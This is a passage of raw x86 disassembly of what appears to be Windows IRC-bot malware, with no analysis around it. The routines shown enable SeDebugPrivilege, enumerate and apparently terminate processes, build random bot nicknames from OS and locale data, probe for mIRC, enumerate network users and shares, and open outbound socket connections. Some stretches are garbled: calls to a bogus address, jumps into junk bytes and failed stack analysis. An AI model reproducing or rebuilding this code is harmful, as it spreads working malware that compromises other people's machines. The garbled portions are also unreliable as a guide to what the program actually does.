		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 1Ch


loc_4107B5:				; CODE XREF: sub_41069A+9Ej
					; sub_41069A+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4107C8
		push	edi
		call	dword_433B58
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4107C8:				; CODE XREF: sub_41069A+A5j
					; sub_41069A+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_4106D9
		cmp	edi, esi
		jz	short loc_4107E0
		push	edi
		call	dword_433B58


loc_4107E0:				; CODE XREF: sub_41069A+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41069A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41081A	proc near		; CODE XREF: sub_40FE70+41p
					; sub_410065+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4108CC
		jz	loc_4108C5
		cmp	eax, 7Bh
		ja	short loc_410891
		jz	short loc_410887
		cmp	eax, 5
		jz	short loc_41087D
		cmp	eax, 8
		jz	short loc_410873
		cmp	eax, 32h
		jz	short loc_410869
		cmp	eax, 35h
		jz	short loc_41085F
		cmp	eax, 57h
		jnz	loc_41091B
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_41085F:				; CODE XREF: sub_41081A+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_410869:				; CODE XREF: sub_41081A+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_410873:				; CODE XREF: sub_41081A+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_41087D:				; CODE XREF: sub_41081A+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_410887:				; CODE XREF: sub_41081A+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_410891:				; CODE XREF: sub_41081A+1Aj
		sub	eax, 7Ch
		jz	short loc_4108BE
		sub	eax, 7C8h
		jz	short loc_4108B7
		dec	eax
		jz	short loc_4108AD
		dec	eax
		jnz	short loc_41091B
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_4108AD:				; CODE XREF: sub_41081A+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_41093C
; ---------------------------------------------------------------------------


loc_4108B7:				; CODE XREF: sub_41081A+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_4108BE:				; CODE XREF: sub_41081A+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_4108C5:				; CODE XREF: sub_41081A+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_4108CC:				; CODE XREF: sub_41081A+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_410905
		jz	short loc_4108FE
		sub	eax, 8ADh
		jz	short loc_410930
		dec	eax
		dec	eax
		jz	short loc_4108F7
		dec	eax
		jz	short loc_4108F0
		dec	eax
		dec	eax
		jnz	short loc_41091B
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_4108F0:				; CODE XREF: sub_41081A+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_4108F7:				; CODE XREF: sub_41081A+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_4108FE:				; CODE XREF: sub_41081A+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_410905:				; CODE XREF: sub_41081A+B9j
		sub	eax, 8CAh
		jz	short loc_410937
		sub	eax, 17h
		jz	short loc_410930
		sub	eax, 25h
		jz	short loc_410929
		sub	eax, 29h
		jz	short loc_410922


loc_41091B:				; CODE XREF: sub_41081A+35j
					; sub_41081A+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_41081A+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_410929:				; CODE XREF: sub_41081A+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_410930:				; CODE XREF: sub_41081A+C2j
					; sub_41081A+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_41093C
; ---------------------------------------------------------------------------


loc_410937:				; CODE XREF: sub_41081A+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_41093C:				; CODE XREF: sub_41081A+40j
					; sub_41081A+4Aj ...
		push	offset dword_462330
		call	sub_411EEE
		pop	ecx
		mov	eax, offset dword_462330
		pop	ecx
		retn
sub_41081A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41094E	proc near		; CODE XREF: .nsp0:0040C049p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4142C9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 0AB0000h
		dec	esi
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4142C9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4142AC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_433AD8
		test	eax, eax
		jnz	short loc_4109DE
		mov	esi, offset dword_46212C
		push	offset dword_430B58
		push	esi
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	short loc_410A07
; ---------------------------------------------------------------------------


loc_4109DE:				; CODE XREF: sub_41094E+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41081A
		pop	ecx
		mov	esi, offset dword_46212C
		push	eax
		push	offset dword_430B1C
		push	esi
		call	sub_411EEE
		add	esp, 14h


loc_410A07:				; CODE XREF: sub_41094E+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41094E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A0C	proc near		; CODE XREF: sub_407CC7+7p
					; sub_410A77+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0AB0000h
		dec	edx
		push	eax
		call	dword_433AAC	; OpenProcessToken
		test	eax, eax
		jnz	short loc_410A2B
		leave
		retn
; ---------------------------------------------------------------------------


loc_410A2B:				; CODE XREF: sub_410A0C+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_433A84	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_410A69
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_410A52
		or	[ebp+var_8], 2
		jmp	short loc_410A56
; ---------------------------------------------------------------------------


loc_410A52:				; CODE XREF: sub_410A0C+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_410A56:				; CODE XREF: sub_410A0C+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_433B34	; AdjustTokenPrivileges
		mov	esi, eax


loc_410A69:				; CODE XREF: sub_410A0C+32j
		push	[ebp+var_4]
		call	dword_41D074	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_410A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A77	proc near		; CODE XREF: .nsp0:0040E54Ap
					; sub_410C28+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_433AE8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_410C21
		cmp	dword_433ACC, ebx
		jz	loc_410C21
		cmp	dword_4339E8, ebx
		jz	loc_410C21
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_410A0C
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_433AE8	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_410C14
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_433ACC	; Process32First
		mov	esi, dword_41D074
		test	eax, eax
		jz	loc_410C0F


loc_410B1A:				; CODE XREF: sub_410A77+BEj
					; sub_410A77+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_4339E8	; Process32Next
		test	eax, eax
		jz	loc_410C0F
		cmp	[ebp+arg_10], ebx
		jnz	short loc_410B1A
		cmp	[ebp+arg_C], ebx
		jnz	loc_410BC7
		cmp	[ebp+arg_4], ebx
		jz	short loc_410B1A
		push	[ebp+var_124]
		push	8
		call	dword_433AE8	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_410B84
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_433994	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_410B8A
		lea	eax, [ebp+var_230]
		jmp	short loc_410B90
; ---------------------------------------------------------------------------


loc_410B84:				; CODE XREF: sub_410A77+EBj
		push	[ebp+var_124]


loc_410B8A:				; CODE XREF: sub_410A77+103j
		lea	eax, [ebp+var_108]


loc_410B90:				; CODE XREF: sub_410A77+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_411EEE
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h
		push	edi
		call	esi ; dword_41D074
		jmp	loc_410B1A
; ---------------------------------------------------------------------------


loc_410BC7:				; CODE XREF: sub_410A77+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410B1A
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 0AB0000h
		jmp	near ptr 8C3D81F5h
; ---------------------------------------------------------------------------
		dw 0FFF8h
		dd 0E85753D6h, 69F400h,	75C085FFh, 0D6FF5705h, 16A17EBh
; ---------------------------------------------------------------------------
		pop	eax
		jmp	short loc_410C23
; ---------------------------------------------------------------------------


loc_410C0F:				; CODE XREF: sub_410A77+9Dj
					; sub_410A77+B5j
		push	[ebp+var_4]
		call	esi ; dword_41D074


loc_410C14:				; CODE XREF: sub_410A77+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_410A0C
		pop	ecx
		pop	ecx


loc_410C21:				; CODE XREF: sub_410A77+3Aj
					; sub_410A77+46j ...
		xor	eax, eax


loc_410C23:				; CODE XREF: sub_410A77+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410A77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C28	proc near		; DATA XREF: .nsp0:0040F121o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_430C28
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_411EEE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_410C87
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40F9F1
		add	esp, 14h


loc_410C87:				; CODE XREF: sub_410C28+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_410A77
		add	esp, 18h
		test	eax, eax
		jnz	short loc_410CAF


loc_410CA8:				; CODE XREF: sub_410D06+15j
		push	offset dword_430BEC
		jmp	short loc_410CB4
; ---------------------------------------------------------------------------


loc_410CAF:				; CODE XREF: sub_410C28+7Ej
		push	offset dword_430BB4


loc_410CB4:				; CODE XREF: sub_410C28+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_411EEE
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_410CE7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40F9F1
		add	esp, 14h


loc_410CE7:				; CODE XREF: sub_410C28+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_408E17
		push	[ebp+var_14]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h
		stc
		pop	edi
		pop	esi
sub_410C28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410D06	proc near		; CODE XREF: .nsp0:0040E4ECp
					; sub_411AD5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 0AB0000h
		loopne	loc_410CA8
		lock test esi, esi
		jz	short loc_410D38
		push	0
		push	esi
		call	near ptr 0AB0000h
		nop
		test	eax, eax
		jnz	short loc_410D38
		push	esi
		xor	edi, edi
		call	dword_41D074	; CloseHandle


loc_410D38:				; CODE XREF: sub_410D06+1Aj
					; sub_410D06+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410D06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D3D	proc near		; CODE XREF: sub_403A5B+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_411F4A
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_41D660
		call	sub_412964
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_410D3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D6D	proc near		; CODE XREF: sub_4110D8+49p
					; DATA XREF: .nsp0:off_430C70o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_425BE8
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41246A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425B70, esi
		jle	short loc_410DC6


loc_410DA0:				; CODE XREF: sub_410D6D+57j
		call	sub_411F4A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430CC4
		push	1Ch
		push	edi
		call	sub_41246A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425B70
		jl	short loc_410DA0


loc_410DC6:				; CODE XREF: sub_410D6D+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410D6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DCB	proc near		; CODE XREF: .nsp0:0040DC72p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		pop	ecx
		call	sub_411F4A
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_425B70
		test	esi, esi
		jle	short loc_410E0E


loc_410DF8:				; CODE XREF: sub_410DCB+41j
		call	sub_411F4A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_410DF8


loc_410E0E:				; CODE XREF: sub_410DCB+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_410DCB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_430CCC
		push	eax
		push	esi
		call	near ptr 0AB0000h
		pop	ecx
		movsx	eax, byte_430CCC
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_410E54:				; CODE XREF: .nsp0:00410E5Fj
		cmp	eax, ecx
		jnz	short loc_410E5B
		mov	[ebp-4], edx


loc_410E5B:				; CODE XREF: .nsp0:00410E56j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_410E54
		push	61h
		pop	ecx


loc_410E64:				; CODE XREF: .nsp0:00410E6Fj
		cmp	eax, ecx
		jnz	short loc_410E6B
		mov	[ebp-4], edx


loc_410E6B:				; CODE XREF: .nsp0:00410E66j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_410E64
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41246A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_425B70, esi
		jle	short loc_410EB0


loc_410E8A:				; CODE XREF: .nsp0:00410EAEj
		call	sub_411F4A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430CC4
		push	1Ch
		push	edi
		call	sub_41246A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425B70
		jl	short loc_410E8A


loc_410EB0:				; CODE XREF: .nsp0:00410E88j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_41D13C	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_430CD0
		push	1Ch
		push	edi
		call	sub_41246A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425B70, esi
		jle	short loc_410F25


loc_410EFF:				; CODE XREF: .nsp0:00410F23j
		call	sub_411F4A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430CC4
		push	1Ch
		push	edi
		call	sub_41246A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425B70
		jl	short loc_410EFF


loc_410F25:				; CODE XREF: .nsp0:00410EFDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_432708
		mov	dword ptr [ebp-94h], 94h
		call	dword_41D100	; GetVersionExA
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_410FAF
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_410F8F
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_410F7F
		mov	esi, offset a95	; "95"


loc_410F7F:				; CODE XREF: .nsp0:00410F78j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_410FEB
		mov	esi, offset aNt	; "NT"
		jmp	short loc_410FEB
; ---------------------------------------------------------------------------


loc_410F8F:				; CODE XREF: .nsp0:00410F6Fj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_410F9F
		mov	esi, offset a98	; "98"
		jmp	short loc_410FEB
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: .nsp0:00410F96j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_410FE6
		mov	esi, offset aMe	; "ME"
		jmp	short loc_410FEB
; ---------------------------------------------------------------------------


loc_410FAF:				; CODE XREF: .nsp0:00410F66j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_410FE6
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_410FC8
		mov	esi, offset a2k	; "2K"
		jmp	short loc_410FEB
; ---------------------------------------------------------------------------


loc_410FC8:				; CODE XREF: .nsp0:00410FBFj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_410FD8
		mov	esi, offset aXp	; "XP"
		jmp	short loc_410FEB
; ---------------------------------------------------------------------------


loc_410FD8:				; CODE XREF: .nsp0:00410FCFj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_430CDC
		jz	short loc_410FEB


loc_410FE6:				; CODE XREF: .nsp0:00410FA6j
					; .nsp0:00410FB6j
		mov	esi, offset dword_425644


loc_410FEB:				; CODE XREF: .nsp0:00410F86j
					; .nsp0:00410F8Dj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_430CD4
		push	1Ch
		push	edi
		call	sub_41246A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425B70, esi
		jle	short loc_41102F


loc_411009:				; CODE XREF: .nsp0:0041102Dj
		call	sub_411F4A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430CC4
		push	1Ch
		push	edi
		call	sub_41246A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425B70
		jl	short loc_411009


loc_41102F:				; CODE XREF: .nsp0:00411007j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411035	proc near		; CODE XREF: sub_4110D8+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_41D048	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_411084
		call	dword_433AD4	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_430CE8
		jnz	short loc_41106D
		mov	eax, offset byte_432708


loc_41106D:				; CODE XREF: sub_411035+31j
		push	eax
		push	esi
		push	offset dword_430CE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41246A
		add	esp, 14h
		jmp	short loc_4110A4
; ---------------------------------------------------------------------------


loc_411084:				; CODE XREF: sub_411035+22j
		call	dword_433AD4	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_430CE8
		jnz	short loc_411098
		mov	eax, offset byte_432708


loc_411098:				; CODE XREF: sub_411035+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_4110A4:				; CODE XREF: sub_411035+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4126F0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_4110D3
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4138E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_413710
		add	esp, 18h


loc_4110D3:				; CODE XREF: sub_411035+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_411035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110D8	proc near		; CODE XREF: sub_40A059+7Fp
					; sub_40A1C1+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_430C6C


loc_4110E4:				; CODE XREF: sub_4110D8+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_4110FF
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_412310
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_411109
; ---------------------------------------------------------------------------


loc_4110FF:				; CODE XREF: sub_4110D8+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_411109:				; CODE XREF: sub_4110D8+25j
		test	eax, eax
		jnz	short loc_41111B
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_430CD0
		jl	short loc_4110E4
		jmp	short loc_411129
; ---------------------------------------------------------------------------


loc_41111B:				; CODE XREF: sub_4110D8+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_430C70[eax*4]
		pop	ecx


loc_411129:				; CODE XREF: sub_4110D8+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41113C
		push	[ebp+arg_0]
		call	sub_411035
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41113C:				; CODE XREF: sub_4110D8+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4110D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411141	proc near		; DATA XREF: sub_41120E+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_433AC8	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_433B48	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4111FF
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_433A70	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_438C64[ecx], esi
		jz	short loc_4111FF
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_433B54	; inet_ntoa
		push	eax
		mov	edi, offset dword_462994
		push	offset unk_430CEC
		push	edi
		call	sub_411EEE
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
